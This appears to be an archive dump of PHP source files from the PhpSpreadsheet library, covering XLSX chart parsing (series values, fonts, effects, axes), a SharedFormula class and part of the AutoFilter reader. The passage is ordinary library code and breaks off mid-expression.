$seriesCategory[$seriesIndex]->setBubble3D($bubble3D); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->setBubble3D($bubble3D); } } if (!empty($dptColors)) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->setFillColor($dptColors); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->setFillColor($dptColors); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->setFillColor($dptColors); } } if ($markerFillColor !== null) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->getMarkerFillColor()->setColorPropertiesArray($markerFillColor); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->getMarkerFillColor()->setColorPropertiesArray($markerFillColor); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->getMarkerFillColor()->setColorPropertiesArray($markerFillColor); } } if ($markerBorderColor !== null) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->getMarkerBorderColor()->setColorPropertiesArray($markerBorderColor); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->getMarkerBorderColor()->setColorPropertiesArray($markerBorderColor); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->getMarkerBorderColor()->setColorPropertiesArray($markerBorderColor); } } if ($smoothLine) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->setSmoothLine(true); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->setSmoothLine(true); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->setSmoothLine(true); } } if (!empty($trendLines)) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->setTrendLines($trendLines); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->setTrendLines($trendLines); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->setTrendLines($trendLines); } } } } $series = new DataSeries($plotType, $multiSeriesType, $plotOrder, $seriesLabel, $seriesCategory, $seriesValues, $plotDirection, $smoothLine); $series->setPlotBubbleSizes($seriesBubbles); return $series; } private function chartDataSeriesValueSet(SimpleXMLElement $seriesDetail, ?string $marker = null, ?ChartColor $fillColor = null, ?string $pointSize = null): ?DataSeriesValues { if (isset($seriesDetail->strRef)) { $seriesSource = (string) $seriesDetail->strRef->f; $seriesValues = new DataSeriesValues(DataSeriesValues::DATASERIES_TYPE_STRING, $seriesSource, null, 0, null, $marker, $fillColor, "$pointSize"); if (isset($seriesDetail->strRef->strCache)) { $seriesData = $this->chartDataSeriesValues($seriesDetail->strRef->strCache->children($this->cNamespace), 's'); $seriesValues ->setFormatCode($seriesData['formatCode']) ->setDataValues($seriesData['dataValues']); } return $seriesValues; } elseif (isset($seriesDetail->numRef)) { $seriesSource = (string) $seriesDetail->numRef->f; $seriesValues = new DataSeriesValues(DataSeriesValues::DATASERIES_TYPE_NUMBER, $seriesSource, null, 0, null, $marker, $fillColor, "$pointSize"); if (isset($seriesDetail->numRef->numCache)) { $seriesData = $this->chartDataSeriesValues($seriesDetail->numRef->numCache->children($this->cNamespace)); $seriesValues ->setFormatCode($seriesData['formatCode']) ->setDataValues($seriesData['dataValues']); } return $seriesValues; } elseif (isset($seriesDetail->multiLvlStrRef)) { $seriesSource = (string) $seriesDetail->multiLvlStrRef->f; $seriesValues = new DataSeriesValues(DataSeriesValues::DATASERIES_TYPE_STRING, $seriesSource, null, 0, null, $marker, $fillColor, "$pointSize"); if (isset($seriesDetail->multiLvlStrRef->multiLvlStrCache)) { $seriesData = $this->chartDataSeriesValuesMultiLevel($seriesDetail->multiLvlStrRef->multiLvlStrCache->children($this->cNamespace), 's'); $seriesValues ->setFormatCode($seriesData['formatCode']) ->setDataValues($seriesData['dataValues']); } return $seriesValues; } elseif (isset($seriesDetail->multiLvlNumRef)) { $seriesSource = (string) $seriesDetail->multiLvlNumRef->f; $seriesValues = new DataSeriesValues(DataSeriesValues::DATASERIES_TYPE_STRING, $seriesSource, null, 0, null, $marker, $fillColor, "$pointSize"); if (isset($seriesDetail->multiLvlNumRef->multiLvlNumCache)) { $seriesData = $this->chartDataSeriesValuesMultiLevel($seriesDetail->multiLvlNumRef->multiLvlNumCache->children($this->cNamespace), 's'); $seriesValues ->setFormatCode($seriesData['formatCode']) ->setDataValues($seriesData['dataValues']); } return $seriesValues; } if (isset($seriesDetail->v)) { return new DataSeriesValues( DataSeriesValues::DATASERIES_TYPE_STRING, null, null, 1, [(string) $seriesDetail->v] ); } return null; } private function chartDataSeriesValues(SimpleXMLElement $seriesValueSet, string $dataType = 'n'): array { $seriesVal = []; $formatCode = ''; $pointCount = 0; foreach ($seriesValueSet as $seriesValueIdx => $seriesValue) { $seriesValue = Xlsx::testSimpleXml($seriesValue); switch ($seriesValueIdx) { case 'ptCount': $pointCount = self::getAttributeInteger($seriesValue, 'val'); break; case 'formatCode': $formatCode = (string) $seriesValue; break; case 'pt': $pointVal = self::getAttributeInteger($seriesValue, 'idx'); if ($dataType == 's') { $seriesVal[$pointVal] = (string) $seriesValue->v; } elseif ((string) $seriesValue->v === ExcelError::NA()) { $seriesVal[$pointVal] = null; } else { $seriesVal[$pointVal] = (float) $seriesValue->v; } break; } } return [ 'formatCode' => $formatCode, 'pointCount' => $pointCount, 'dataValues' => $seriesVal, ]; } private function chartDataSeriesValuesMultiLevel(SimpleXMLElement $seriesValueSet, string $dataType = 'n'): array { $seriesVal = []; $formatCode = ''; $pointCount = 0; foreach ($seriesValueSet->lvl as $seriesLevelIdx => $seriesLevel) { foreach ($seriesLevel as $seriesValueIdx => $seriesValue) { $seriesValue = Xlsx::testSimpleXml($seriesValue); switch ($seriesValueIdx) { case 'ptCount': $pointCount = self::getAttributeInteger($seriesValue, 'val'); break; case 'formatCode': $formatCode = (string) $seriesValue; break; case 'pt': $pointVal = self::getAttributeInteger($seriesValue, 'idx'); if ($dataType == 's') { $seriesVal[$pointVal][] = (string) $seriesValue->v; } elseif ((string) $seriesValue->v === ExcelError::NA()) { $seriesVal[$pointVal] = null; } else { $seriesVal[$pointVal][] = (float) $seriesValue->v; } break; } } } return [ 'formatCode' => $formatCode, 'pointCount' => $pointCount, 'dataValues' => $seriesVal, ]; } private function parseRichText(SimpleXMLElement $titleDetailPart): RichText { $value = new RichText(); $defaultFontSize = null; $defaultBold = null; $defaultItalic = null; $defaultUnderscore = null; $defaultStrikethrough = null; $defaultBaseline = null; $defaultFontName = null; $defaultLatin = null; $defaultEastAsian = null; $defaultComplexScript = null; $defaultFontColor = null; if (isset($titleDetailPart->pPr->defRPr)) { $defaultFontSize = self::getAttributeInteger($titleDetailPart->pPr->defRPr, 'sz'); $defaultBold = self::getAttributeBoolean($titleDetailPart->pPr->defRPr, 'b'); $defaultItalic = self::getAttributeBoolean($titleDetailPart->pPr->defRPr, 'i'); $defaultUnderscore = self::getAttributeString($titleDetailPart->pPr->defRPr, 'u'); $defaultStrikethrough = self::getAttributeString($titleDetailPart->pPr->defRPr, 'strike'); $defaultBaseline = self::getAttributeInteger($titleDetailPart->pPr->defRPr, 'baseline'); if (isset($titleDetailPart->defRPr->rFont['val'])) { $defaultFontName = (string) $titleDetailPart->defRPr->rFont['val']; } if (isset($titleDetailPart->pPr->defRPr->latin)) { $defaultLatin = self::getAttributeString($titleDetailPart->pPr->defRPr->latin, 'typeface'); } if (isset($titleDetailPart->pPr->defRPr->ea)) { $defaultEastAsian = self::getAttributeString($titleDetailPart->pPr->defRPr->ea, 'typeface'); } if (isset($titleDetailPart->pPr->defRPr->cs)) { $defaultComplexScript = self::getAttributeString($titleDetailPart->pPr->defRPr->cs, 'typeface'); } if (isset($titleDetailPart->pPr->defRPr->solidFill)) { $defaultFontColor = $this->readColor($titleDetailPart->pPr->defRPr->solidFill); } } foreach ($titleDetailPart as $titleDetailElementKey => $titleDetailElement) { if ( (string) $titleDetailElementKey !== 'r' || !isset($titleDetailElement->t) ) { continue; } $objText = $value->createTextRun((string) $titleDetailElement->t); if ($objText->getFont() === null) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $fontSize = null; $bold = null; $italic = null; $underscore = null; $strikethrough = null; $baseline = null; $fontName = null; $latinName = null; $eastAsian = null; $complexScript = null; $fontColor = null; $underlineColor = null; if (isset($titleDetailElement->rPr)) { // not used now, not sure it ever was, grandfathering if (isset($titleDetailElement->rPr->rFont['val'])) { // @codeCoverageIgnoreStart $fontName = (string) $titleDetailElement->rPr->rFont['val']; // @codeCoverageIgnoreEnd } if (isset($titleDetailElement->rPr->latin)) { $latinName = self::getAttributeString($titleDetailElement->rPr->latin, 'typeface'); } if (isset($titleDetailElement->rPr->ea)) { $eastAsian = self::getAttributeString($titleDetailElement->rPr->ea, 'typeface'); } if (isset($titleDetailElement->rPr->cs)) { $complexScript = self::getAttributeString($titleDetailElement->rPr->cs, 'typeface'); } $fontSize = self::getAttributeInteger($titleDetailElement->rPr, 'sz'); // not used now, not sure it ever was, grandfathering if (isset($titleDetailElement->rPr->solidFill)) { $fontColor = $this->readColor($titleDetailElement->rPr->solidFill); } $bold = self::getAttributeBoolean($titleDetailElement->rPr, 'b'); $italic = self::getAttributeBoolean($titleDetailElement->rPr, 'i'); $baseline = self::getAttributeInteger($titleDetailElement->rPr, 'baseline'); $underscore = self::getAttributeString($titleDetailElement->rPr, 'u'); if (isset($titleDetailElement->rPr->uFill->solidFill)) { $underlineColor = $this->readColor($titleDetailElement->rPr->uFill->solidFill); } $strikethrough = self::getAttributeString($titleDetailElement->rPr, 'strike'); } $fontFound = false; $latinName = $latinName ?? $defaultLatin; if ($latinName !== null) { $objText->getFont()->setLatin($latinName); $fontFound = true; } $eastAsian = $eastAsian ?? $defaultEastAsian; if ($eastAsian !== null) { $objText->getFont()->setEastAsian($eastAsian); $fontFound = true; } $complexScript = $complexScript ?? $defaultComplexScript; if ($complexScript !== null) { $objText->getFont()->setComplexScript($complexScript); $fontFound = true; } $fontName = $fontName ?? $defaultFontName; if ($fontName !== null) { // @codeCoverageIgnoreStart $objText->getFont()->setName($fontName); $fontFound = true; // @codeCoverageIgnoreEnd } $fontSize = $fontSize ?? $defaultFontSize; if (is_int($fontSize)) { $objText->getFont()->setSize(floor($fontSize / 100)); $fontFound = true; } else { $objText->getFont()->setSize(null, true); } $fontColor = $fontColor ?? $defaultFontColor; if (!empty($fontColor)) { $objText->getFont()->setChartColor($fontColor); $fontFound = true; } $bold = $bold ?? $defaultBold; if ($bold !== null) { $objText->getFont()->setBold($bold); $fontFound = true; } $italic = $italic ?? $defaultItalic; if ($italic !== null) { $objText->getFont()->setItalic($italic); $fontFound = true; } $baseline = $baseline ?? $defaultBaseline; if ($baseline !== null) { $objText->getFont()->setBaseLine($baseline); if ($baseline > 0) { $objText->getFont()->setSuperscript(true); } elseif ($baseline < 0) { $objText->getFont()->setSubscript(true); } $fontFound = true; } $underscore = $underscore ?? $defaultUnderscore; if ($underscore !== null) { if ($underscore == 'sng') { $objText->getFont()->setUnderline(Font::UNDERLINE_SINGLE); } elseif ($underscore == 'dbl') { $objText->getFont()->setUnderline(Font::UNDERLINE_DOUBLE); } elseif ($underscore !== '') { $objText->getFont()->setUnderline($underscore); } else { $objText->getFont()->setUnderline(Font::UNDERLINE_NONE); } $fontFound = true; if ($underlineColor) { $objText->getFont()->setUnderlineColor($underlineColor); } } $strikethrough = $strikethrough ?? $defaultStrikethrough; if ($strikethrough !== null) { $objText->getFont()->setStrikeType($strikethrough); if ($strikethrough == 'noStrike') { $objText->getFont()->setStrikethrough(false); } else { $objText->getFont()->setStrikethrough(true); } $fontFound = true; } if ($fontFound === false) { $objText->setFont(null); } } return $value; } private function parseFont(SimpleXMLElement $titleDetailPart): ?Font { if (!isset($titleDetailPart->pPr->defRPr)) { return null; } $fontArray = []; $fontArray['size'] = self::getAttributeInteger($titleDetailPart->pPr->defRPr, 'sz'); $fontArray['bold'] = self::getAttributeBoolean($titleDetailPart->pPr->defRPr, 'b'); $fontArray['italic'] = self::getAttributeBoolean($titleDetailPart->pPr->defRPr, 'i'); $fontArray['underscore'] = self::getAttributeString($titleDetailPart->pPr->defRPr, 'u'); $fontArray['strikethrough'] = self::getAttributeString($titleDetailPart->pPr->defRPr, 'strike'); $fontArray['cap'] = self::getAttributeString($titleDetailPart->pPr->defRPr, 'cap'); if (isset($titleDetailPart->pPr->defRPr->latin)) { $fontArray['latin'] = self::getAttributeString($titleDetailPart->pPr->defRPr->latin, 'typeface'); } if (isset($titleDetailPart->pPr->defRPr->ea)) { $fontArray['eastAsian'] = self::getAttributeString($titleDetailPart->pPr->defRPr->ea, 'typeface'); } if (isset($titleDetailPart->pPr->defRPr->cs)) { $fontArray['complexScript'] = self::getAttributeString($titleDetailPart->pPr->defRPr->cs, 'typeface'); } if (isset($titleDetailPart->pPr->defRPr->solidFill)) { $fontArray['chartColor'] = new ChartColor($this->readColor($titleDetailPart->pPr->defRPr->solidFill)); } $font = new Font(); $font->setSize(null, true); $font->applyFromArray($fontArray); return $font; } private function readChartAttributes(?SimpleXMLElement $chartDetail): array { $plotAttributes = []; if (isset($chartDetail->dLbls)) { if (isset($chartDetail->dLbls->dLblPos)) { $plotAttributes['dLblPos'] = self::getAttributeString($chartDetail->dLbls->dLblPos, 'val'); } if (isset($chartDetail->dLbls->numFmt)) { $plotAttributes['numFmtCode'] = self::getAttributeString($chartDetail->dLbls->numFmt, 'formatCode'); $plotAttributes['numFmtLinked'] = self::getAttributeBoolean($chartDetail->dLbls->numFmt, 'sourceLinked'); } if (isset($chartDetail->dLbls->showLegendKey)) { $plotAttributes['showLegendKey'] = self::getAttributeString($chartDetail->dLbls->showLegendKey, 'val'); } if (isset($chartDetail->dLbls->showVal)) { $plotAttributes['showVal'] = self::getAttributeString($chartDetail->dLbls->showVal, 'val'); } if (isset($chartDetail->dLbls->showCatName)) { $plotAttributes['showCatName'] = self::getAttributeString($chartDetail->dLbls->showCatName, 'val'); } if (isset($chartDetail->dLbls->showSerName)) { $plotAttributes['showSerName'] = self::getAttributeString($chartDetail->dLbls->showSerName, 'val'); } if (isset($chartDetail->dLbls->showPercent)) { $plotAttributes['showPercent'] = self::getAttributeString($chartDetail->dLbls->showPercent, 'val'); } if (isset($chartDetail->dLbls->showBubbleSize)) { $plotAttributes['showBubbleSize'] = self::getAttributeString($chartDetail->dLbls->showBubbleSize, 'val'); } if (isset($chartDetail->dLbls->showLeaderLines)) { $plotAttributes['showLeaderLines'] = self::getAttributeString($chartDetail->dLbls->showLeaderLines, 'val'); } if (isset($chartDetail->dLbls->spPr)) { $sppr = $chartDetail->dLbls->spPr->children($this->aNamespace); if (isset($sppr->solidFill)) { $plotAttributes['labelFillColor'] = new ChartColor($this->readColor($sppr->solidFill)); } if (isset($sppr->ln->solidFill)) { $plotAttributes['labelBorderColor'] = new ChartColor($this->readColor($sppr->ln->solidFill)); } } if (isset($chartDetail->dLbls->txPr)) { $txpr = $chartDetail->dLbls->txPr->children($this->aNamespace); if (isset($txpr->p)) { $plotAttributes['labelFont'] = $this->parseFont($txpr->p); if (isset($txpr->p->pPr->defRPr->effectLst)) { $labelEffects = new GridLines(); $this->readEffects($txpr->p->pPr->defRPr, $labelEffects, false); $plotAttributes['labelEffects'] = $labelEffects; } } } } return $plotAttributes; } private function setChartAttributes(Layout $plotArea, array $plotAttributes): void { foreach ($plotAttributes as $plotAttributeKey => $plotAttributeValue) { switch ($plotAttributeKey) { case 'showLegendKey': $plotArea->setShowLegendKey($plotAttributeValue); break; case 'showVal': $plotArea->setShowVal($plotAttributeValue); break; case 'showCatName': $plotArea->setShowCatName($plotAttributeValue); break; case 'showSerName': $plotArea->setShowSerName($plotAttributeValue); break; case 'showPercent': $plotArea->setShowPercent($plotAttributeValue); break; case 'showBubbleSize': $plotArea->setShowBubbleSize($plotAttributeValue); break; case 'showLeaderLines': $plotArea->setShowLeaderLines($plotAttributeValue); break; } } } private function readEffects(SimpleXMLElement $chartDetail, ?ChartProperties $chartObject, bool $getSppr = true): void { if (!isset($chartObject)) { return; } if ($getSppr) { if (!isset($chartDetail->spPr)) { return; } $sppr = $chartDetail->spPr->children($this->aNamespace); } else { $sppr = $chartDetail; } if (isset($sppr->effectLst->glow)) { $axisGlowSize = (float) self::getAttributeInteger($sppr->effectLst->glow, 'rad') / ChartProperties::POINTS_WIDTH_MULTIPLIER; if ($axisGlowSize != 0.0) { $colorArray = $this->readColor($sppr->effectLst->glow); $chartObject->setGlowProperties($axisGlowSize, $colorArray['value'], $colorArray['alpha'], $colorArray['type']); } } if (isset($sppr->effectLst->softEdge)) { $softEdgeSize = self::getAttributeString($sppr->effectLst->softEdge, 'rad'); if (is_numeric($softEdgeSize)) { $chartObject->setSoftEdges((float) ChartProperties::xmlToPoints($softEdgeSize)); } } $type = ''; foreach (self::SHADOW_TYPES as $shadowType) { if (isset($sppr->effectLst->$shadowType)) { $type = $shadowType; break; } } if ($type !== '') { $blur = self::getAttributeString($sppr->effectLst->$type, 'blurRad'); $blur = is_numeric($blur) ? ChartProperties::xmlToPoints($blur) : null; $dist = self::getAttributeString($sppr->effectLst->$type, 'dist'); $dist = is_numeric($dist) ? ChartProperties::xmlToPoints($dist) : null; $direction = self::getAttributeString($sppr->effectLst->$type, 'dir'); $direction = is_numeric($direction) ? ChartProperties::xmlToAngle($direction) : null; $algn = self::getAttributeString($sppr->effectLst->$type, 'algn'); $rot = self::getAttributeString($sppr->effectLst->$type, 'rotWithShape'); $size = []; foreach (['sx', 'sy'] as $sizeType) { $sizeValue = self::getAttributeString($sppr->effectLst->$type, $sizeType); if (is_numeric($sizeValue)) { $size[$sizeType] = ChartProperties::xmlToTenthOfPercent((string) $sizeValue); } else { $size[$sizeType] = null; } } foreach (['kx', 'ky'] as $sizeType) { $sizeValue = self::getAttributeString($sppr->effectLst->$type, $sizeType); if (is_numeric($sizeValue)) { $size[$sizeType] = ChartProperties::xmlToAngle((string) $sizeValue); } else { $size[$sizeType] = null; } } $colorArray = $this->readColor($sppr->effectLst->$type); $chartObject ->setShadowProperty('effect', $type) ->setShadowProperty('blur', $blur) ->setShadowProperty('direction', $direction) ->setShadowProperty('distance', $dist) ->setShadowProperty('algn', $algn) ->setShadowProperty('rotWithShape', $rot) ->setShadowProperty('size', $size) ->setShadowProperty('color', $colorArray); } } private const SHADOW_TYPES = [ 'outerShdw', 'innerShdw', ]; private function readColor(SimpleXMLElement $colorXml): array { $result = [ 'type' => null, 'value' => null, 'alpha' => null, 'brightness' => null, ]; foreach (ChartColor::EXCEL_COLOR_TYPES as $type) { if (isset($colorXml->$type)) { $result['type'] = $type; $result['value'] = self::getAttributeString($colorXml->$type, 'val'); if (isset($colorXml->$type->alpha)) { $alpha = self::getAttributeString($colorXml->$type->alpha, 'val'); if (is_numeric($alpha)) { $result['alpha'] = ChartColor::alphaFromXml($alpha); } } if (isset($colorXml->$type->lumMod)) { $brightness = self::getAttributeString($colorXml->$type->lumMod, 'val'); if (is_numeric($brightness)) { $result['brightness'] = ChartColor::alphaFromXml($brightness); } } break; } } return $result; } private function readLineStyle(SimpleXMLElement $chartDetail, ?ChartProperties $chartObject): void { if (!isset($chartObject, $chartDetail->spPr)) { return; } $sppr = $chartDetail->spPr->children($this->aNamespace); if (!isset($sppr->ln)) { return; } $lineWidth = null; $lineWidthTemp = self::getAttributeString($sppr->ln, 'w'); if (is_numeric($lineWidthTemp)) { $lineWidth = ChartProperties::xmlToPoints($lineWidthTemp); } /** @var string $compoundType */ $compoundType = self::getAttributeString($sppr->ln, 'cmpd'); /** @var string $dashType */ $dashType = self::getAttributeString($sppr->ln->prstDash, 'val'); /** @var string $capType */ $capType = self::getAttributeString($sppr->ln, 'cap'); if (isset($sppr->ln->miter)) { $joinType = ChartProperties::LINE_STYLE_JOIN_MITER; } elseif (isset($sppr->ln->bevel)) { $joinType = ChartProperties::LINE_STYLE_JOIN_BEVEL; } else { $joinType = ''; } $headArrowSize = 0; $endArrowSize = 0; $headArrowType = self::getAttributeString($sppr->ln->headEnd, 'type'); $headArrowWidth = self::getAttributeString($sppr->ln->headEnd, 'w'); $headArrowLength = self::getAttributeString($sppr->ln->headEnd, 'len'); $endArrowType = self::getAttributeString($sppr->ln->tailEnd, 'type'); $endArrowWidth = self::getAttributeString($sppr->ln->tailEnd, 'w'); $endArrowLength = self::getAttributeString($sppr->ln->tailEnd, 'len'); $chartObject->setLineStyleProperties( $lineWidth, $compoundType, $dashType, $capType, $joinType, $headArrowType, $headArrowSize, $endArrowType, $endArrowSize, $headArrowWidth, $headArrowLength, $endArrowWidth, $endArrowLength ); $colorArray = $this->readColor($sppr->ln->solidFill); $chartObject->getLineColor()->setColorPropertiesArray($colorArray); } private function setAxisProperties(SimpleXMLElement $chartDetail, ?Axis $whichAxis): void { if (!isset($whichAxis)) { return; } if (isset($chartDetail->delete)) { $whichAxis->setAxisOption('hidden', (string) self::getAttributeString($chartDetail->delete, 'val')); } if (isset($chartDetail->numFmt)) { $whichAxis->setAxisNumberProperties( (string) self::getAttributeString($chartDetail->numFmt, 'formatCode'), null, (int) self::getAttributeInteger($chartDetail->numFmt, 'sourceLinked') ); } if (isset($chartDetail->crossBetween)) { $whichAxis->setCrossBetween((string) self::getAttributeString($chartDetail->crossBetween, 'val')); } if (isset($chartDetail->dispUnits, $chartDetail->dispUnits->builtInUnit)) { $whichAxis->setAxisOption('dispUnitsBuiltIn', (string) self::getAttributeString($chartDetail->dispUnits->builtInUnit, 'val')); if (isset($chartDetail->dispUnits->dispUnitsLbl)) { $whichAxis->setDispUnitsTitle(new Title()); // TODO parse title elements } } if (isset($chartDetail->majorTickMark)) { $whichAxis->setAxisOption('major_tick_mark', (string) self::getAttributeString($chartDetail->majorTickMark, 'val')); } if (isset($chartDetail->minorTickMark)) { $whichAxis->setAxisOption('minor_tick_mark', (string) self::getAttributeString($chartDetail->minorTickMark, 'val')); } if (isset($chartDetail->tickLblPos)) { $whichAxis->setAxisOption('axis_labels', (string) self::getAttributeString($chartDetail->tickLblPos, 'val')); } if (isset($chartDetail->crosses)) { $whichAxis->setAxisOption('horizontal_crosses', (string) self::getAttributeString($chartDetail->crosses, 'val')); } if (isset($chartDetail->crossesAt)) { $whichAxis->setAxisOption('horizontal_crosses_value', (string) self::getAttributeString($chartDetail->crossesAt, 'val')); } if (isset($chartDetail->scaling->logBase)) { $whichAxis->setAxisOption('logBase', (string) self::getAttributeString($chartDetail->scaling->logBase, 'val')); } if (isset($chartDetail->scaling->orientation)) { $whichAxis->setAxisOption('orientation', (string) self::getAttributeString($chartDetail->scaling->orientation, 'val')); } if (isset($chartDetail->scaling->max)) { $whichAxis->setAxisOption('maximum', (string) self::getAttributeString($chartDetail->scaling->max, 'val')); } if (isset($chartDetail->scaling->min)) { $whichAxis->setAxisOption('minimum', (string) self::getAttributeString($chartDetail->scaling->min, 'val')); } if (isset($chartDetail->scaling->min)) { $whichAxis->setAxisOption('minimum', (string) self::getAttributeString($chartDetail->scaling->min, 'val')); } if (isset($chartDetail->majorUnit)) { $whichAxis->setAxisOption('major_unit', (string) self::getAttributeString($chartDetail->majorUnit, 'val')); } if (isset($chartDetail->minorUnit)) { $whichAxis->setAxisOption('minor_unit', (string) self::getAttributeString($chartDetail->minorUnit, 'val')); } if (isset($chartDetail->baseTimeUnit)) { $whichAxis->setAxisOption('baseTimeUnit', (string) self::getAttributeString($chartDetail->baseTimeUnit, 'val')); } if (isset($chartDetail->majorTimeUnit)) { $whichAxis->setAxisOption('majorTimeUnit', (string) self::getAttributeString($chartDetail->majorTimeUnit, 'val')); } if (isset($chartDetail->minorTimeUnit)) { $whichAxis->setAxisOption('minorTimeUnit', (string) self::getAttributeString($chartDetail->minorTimeUnit, 'val')); } if (isset($chartDetail->txPr)) { $children = $chartDetail->txPr->children($this->aNamespace); $addAxisText = false; $axisText = new AxisText(); if (isset($children->bodyPr)) { $textRotation = self::getAttributeString($children->bodyPr, 'rot'); if (is_numeric($textRotation)) { $axisText->setRotation((int) ChartProperties::xmlToAngle($textRotation)); $addAxisText = true; } } if (isset($children->p->pPr->defRPr)) { $font = $this->parseFont($children->p); if ($font !== null) { $axisText->setFont($font); $addAxisText = true; } } if (isset($children->p->pPr->defRPr->effectLst)) { $this->readEffects($children->p->pPr->defRPr, $axisText, false); $addAxisText = true; } if ($addAxisText) { $whichAxis->setAxisText($axisText); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/SharedFormula.php000064400000000676151676714400022665 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; class SharedFormula { private string $master; private string $formula; public function __construct(string $master, string $formula) { $this->master = $master; $this->formula = $formula; } public function master(): string { return $this->master; } public function formula(): string { return $this->formula; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/AutoFilter.php000064400000016216151676714400022204 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column\Rule; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class AutoFilter { private Table|Worksheet $parent; private SimpleXMLElement $worksheetXml; public function __construct(Table|Worksheet $parent, SimpleXMLElement $worksheetXml) { $this->parent = $parent; $this->worksheetXml = $worksheetXml; } public function load(): void { // Remove all "$" in the auto filter range $attrs = $this->worksheetXml->autoFilter->attributes() ?? []; $autoFilterRange = (string) preg_replace('/\$/', '', $attrs['ref'] ?? ''); if (str_contains($autoFilterRange, ':')) { $this->readAutoFilter($autoFilterRange); } } private function readAutoFilter(string $autoFilterRange): void { $autoFilter = $this->parent->getAutoFilter(); $autoFilter->setRange($autoFilterRange); foreach ($this->worksheetXml->autoFilter->filterColumn as $filterColumn) { $attributes = $filterColumn->attributes() ?? []; $column = $autoFilter->getColumnByOffset((int) ($attributes['colId'] ?? 0)); // Check for standard filters if ($filterColumn->filters) { $column->setFilterType(Column::AUTOFILTER_FILTERTYPE_FILTER); $filters = Xlsx::testSimpleXml($filterColumn->filters->attributes()); if ((isset($filters['blank'])) && ((int) $filters['blank'] == 1)) { // Operator is undefined, but always treated as EQUAL $column->createRule()->setRule('', '')->setRuleType(Rule::AUTOFILTER_RULETYPE_FILTER); } // Standard filters are always an OR join, so no join rule needs to be set // Entries can be either filter elements foreach ($filterColumn->filters->filter as $filterRule) { // Operator is undefined, but always treated as EQUAL $attr2 = $filterRule->attributes() ?? ['val' => '']; $column->createRule()->setRule('', (string) $attr2['val'])->setRuleType(Rule::AUTOFILTER_RULETYPE_FILTER); } // Or Date Group elements $this->readDateRangeAutoFilter($filterColumn->filters, $column); } // Check for custom filters $this->readCustomAutoFilter($filterColumn, $column); // Check for dynamic filters $this->readDynamicAutoFilter($filterColumn, $column); // Check for dynamic filters $this->readTopTenAutoFilter($filterColumn, $column); } $autoFilter->setEvaluated(true); } private function readDateRangeAutoFilter(SimpleXMLElement $filters, Column $column): void { foreach ($filters->dateGroupItem as $dateGroupItemx) { // Operator is undefined, but always treated as EQUAL $dateGroupItem = $dateGroupItemx->attributes(); if ($dateGroupItem !== null) { $column->createRule()->setRule( '', [ 'year' => (string) $dateGroupItem['year'], 'month' => (string) $dateGroupItem['month'], 'day' => (string) $dateGroupItem['day'], 'hour' => (string) $dateGroupItem['hour'], 'minute' => (string) $dateGroupItem['minute'], 'second' => (string) $dateGroupItem['second'], ], (string) $dateGroupItem['dateTimeGrouping'] )->setRuleType(Rule::AUTOFILTER_RULETYPE_DATEGROUP); } } } private function readCustomAutoFilter(?SimpleXMLElement $filterColumn, Column $column): void { if (isset($filterColumn, $filterColumn->customFilters)) { $column->setFilterType(Column::AUTOFILTER_FILTERTYPE_CUSTOMFILTER); $customFilters = $filterColumn->customFilters; $attributes = $customFilters->attributes(); // Custom filters can an AND or an OR join; // and there should only ever be one or two entries if ((isset($attributes['and'])) && ((string) $attributes['and'] === '1')) { $column->setJoin(Column::AUTOFILTER_COLUMN_JOIN_AND); } foreach ($customFilters->customFilter as $filterRule) { $attr2 = $filterRule->attributes() ?? ['operator' => '', 'val' => '']; $column->createRule()->setRule( (string) $attr2['operator'], (string) $attr2['val'] )->setRuleType(Rule::AUTOFILTER_RULETYPE_CUSTOMFILTER); } } } private function readDynamicAutoFilter(?SimpleXMLElement $filterColumn, Column $column): void { if (isset($filterColumn, $filterColumn->dynamicFilter)) { $column->setFilterType(Column::AUTOFILTER_FILTERTYPE_DYNAMICFILTER); // We should only ever have one dynamic filter foreach ($filterColumn->dynamicFilter as $filterRule) { // Operator is undefined, but always treated as EQUAL $attr2 = $filterRule->attributes() ?? []; $column->createRule()->setRule( '', (string) ($attr2['val'] ?? ''), (string) ($attr2['type'] ?? '') )->setRuleType(Rule::AUTOFILTER_RULETYPE_DYNAMICFILTER); if (isset($attr2['val'])) { $column->setAttribute('val', (string) $attr2['val']); } if (isset($attr2['maxVal'])) { $column->setAttribute('maxVal', (string) $attr2['maxVal']); } } } } private function readTopTenAutoFilter(?SimpleXMLElement $filterColumn, Column $column): void { if (isset($filterColumn, $filterColumn->top10)) { $column->setFilterType(Column::AUTOFILTER_FILTERTYPE_TOPTENFILTER); // We should only ever have one top10 filter foreach ($filterColumn->top10 as $filterRule) { $attr2 = $filterRule->attributes() ?? []; $column->createRule()->setRule( ( ((isset($attr2['percent'])) && ((string) $attr2['percent'] === '1')) ? Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT : 